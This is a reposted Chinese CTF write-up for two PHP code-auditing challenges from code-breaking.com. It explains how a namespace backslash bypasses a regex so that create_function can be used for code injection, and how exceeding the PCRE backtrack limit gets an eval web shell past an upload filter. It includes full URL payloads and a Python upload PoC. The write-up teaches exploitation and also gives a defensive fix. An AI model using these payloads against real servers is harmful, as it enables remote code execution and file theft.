p神 代码审计知识星球二周年wp[1]
题目:https://code-breaking.com
参考文献:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
https://blog.csdn.net/while0/article/details/72276440
easy-function
源码
<?php $action = $_GET['action'] ?? ''; $arg = $_GET['arg'] ?? ''; if(preg_match('/^[a-z0-9_]*$/isD', $action)) { show_source(__FILE__); } else { $action('', $arg); }
解题思路
- 在数字字母下划线都被禁用的情况下调用函数,因为正则里面用了
^$
,就有可能在开头或结尾加入某个字符绕过正则且函数依旧能正常执行。最后发现\
可以,不禁能绕过正则,还能使函数正常执行。 - 正常执行的原因:
php里默认命名空间是\
,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()
调用,调用的时候其实相当于写了一个相对路径
;而如果写\function_name()
这样的调用函数,则其实是写了一个绝对路径
。如果在其他namespace里调用系统类,就必须写绝对路径这种方法。 - 任意函数调用,且函数的第二个参数可控。可使用
create_function()
利用create_function()代码注入 - 一个简单的栗子
<?php $id=$_GET['id']; $str2='echo '.$a.'test'.$id.";"; echo $str2; echo "<br/>"; echo "=============================="; echo "<br/>"; $f1 = create_function('$a',$str2); echo "<br/>"; echo "=============================="; ?>
- payload:
http://localhost/2.php?id=2;}phpinfo();/*
- 执行函数
源代码: function fT($a) { echo "test".$a; } 注入后代码: function fT($a) { echo "test";} phpinfo();/*;//此处为注入代码。 }
- 最终payload
遍历文件夹下的所有文件: http://51.158.75.42:8087/index.php?action=\create_function&arg=2;}var_dump(scandir(%27.././%27));/* 拿到flag: http://51.158.75.42:8087/?action=%5ccreate_function&arg=2;}var_dump(file_get_contents(%22/var/www/flag_h0w2execute_arb1trary_c0de%22));/*
easy-pcrewaf
源码
<?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(empty($_FILES)) { die(show_source(__FILE__)); } $user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']); $data = file_get_contents($_FILES['file']['tmp_name']); if (is_php($data)) { echo "bad request"; } else { @mkdir($user_dir, 0755); $path = $user_dir . '/' . random_int(0, 10) . '.php'; move_uploaded_file($_FILES['file']['tmp_name'], $path); header("Location: $path", true, 303); }
解题思路
判断一下用户输入的内容有没有PHP代码
,如果没有,则写入文件。
先来分析下正则
正则引擎,又被细分为DFA(确定性有限状态自动机)与NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是:
- DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
- NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行
回溯
,尝试其他状态。
回溯的过程
直接看p神的分析就行,贼详细就不多加叙述了
PHP的pcre.backtrack_limit
限制利用
PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit
。
回溯次数上限默认是
100万
。 当回溯次数超过了100万,
preg_match()
返回 false
,不是 1或0
。则绕过了正则。 - 最终的解决方式:
通过发送超长字符串的方式,使正则执行失败,最后绕过目标对PHP语言的限制。 - 大佬的poc:
import requests from io import BytesIO files = { 'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000) } res = requests.post('http://51.158.75.42:8088/index.php', files=files, allow_redirects=False) print(res.headers)
解决方案
如果用preg_match对字符串进行匹配,一定要使用===
全等号来判断返回值。
低调大师中文资讯倾力打造互联网数据资讯、行业资源、电子商务、移动互联网、网络营销平台。
持续更新报道IT业界、互联网、市场资讯、驱动更新,是最及时权威的产业资讯及硬件资讯报道平台。
转载内容版权归作者及来源网站所有,本站原创内容转载请注明来源。
- 上一篇
linux 安装Apache, php并安装php扩展
linux 安装Apache, php并安装php扩展 首先安装Apache服务器 1. 下载源码包 http://httpd.apache.org/download.cgi#apache24 2. 上传到服务器, 解压 tar zvxf httpd-XX.tar.gz 3. 安装 apr和apr-util(如果已安装,可直接看4) 下载apr与apr-util , 地址 : http://apr.apache.org/ 解压 apr , 修改解压好的目录名, 不要带版本号(官网上说的), 进入解压目录,执行 ./configure (如果没有改解压目录名, 则需要指定安装路径 --prefix=/xxx/apr) make make install 解压apr-util,修改目录名(去掉版本号),进入解压目录, 执行 cd apr-util ls ./configure --with-apr=/web/servers/apr(为apr安装路径) 4. 进入到解压目录, 执行命令 ./configure --prefix=PREFIX (PREFIX为你要安装的路径) mak...
- 下一篇
【备战春招/秋招系列】美团Java面经总结进阶篇 (附详解答案)
该文已加入开源文档:JavaGuide(一份涵盖大部分Java程序员所需要掌握的核心知识)。地址:https://github.com/Snailclimb/JavaGuide. 系列文章: 【备战春招/秋招系列1】程序员的简历就该这样写 【备战春招/秋招系列2】初出茅庐的程序员该如何准备面试? 【备战春招/秋招系列3】Java程序员必备书单 【备战春招/秋招系列4】美团面经总结基础篇 (附详解答案) 这是我总结的美团面经的进阶篇,后面还有终结篇哦!下面只是我从很多份美团面经中总结的在美团面试中一些常见的问题。不同于个人面经,这份面经具有普适性。每次面试必备的自我介绍、项目介绍这些东西,大家可以自己私下好好思考。我在前面的文章中也提到了应该怎么做自我介绍与项目介绍,详情可以查看这篇文章:【备战春招/秋招系列2】初出茅庐的程序员该如何准备面试?。 有人私信我让我对美团面试难度做一个评级,我觉得如果有10级的话,美团面试的难度大概在6级左右吧!部分情况可能因人而异了。 消息队列/消息中间件应该是Java程序员必备的一个技能了,如果你之前没接触过消息队列的话,建议先去百度一下某某消息队列入门...
相关文章
文章评论
共有0条评论来说两句吧...
文章二维码
点击排行
推荐阅读
最新文章
- Docker使用Oracle官方镜像安装(12C,18C,19C)
- CentOS8编译安装MySQL8.0.19
- CentOS8,CentOS7,CentOS6编译安装Redis5.0.7
- SpringBoot2整合MyBatis,连接MySql数据库做增删改查操作
- SpringBoot2整合Redis,开启缓存,提高访问速度
- SpringBoot2配置默认Tomcat设置,开启更多高级功能
- Hadoop3单机部署,实现最简伪集群
- CentOS7,CentOS8安装Elasticsearch6.8.6
- CentOS6,7,8上安装Nginx,支持https2.0的开启
- SpringBoot2编写第一个Controller,响应你的http请求并返回结果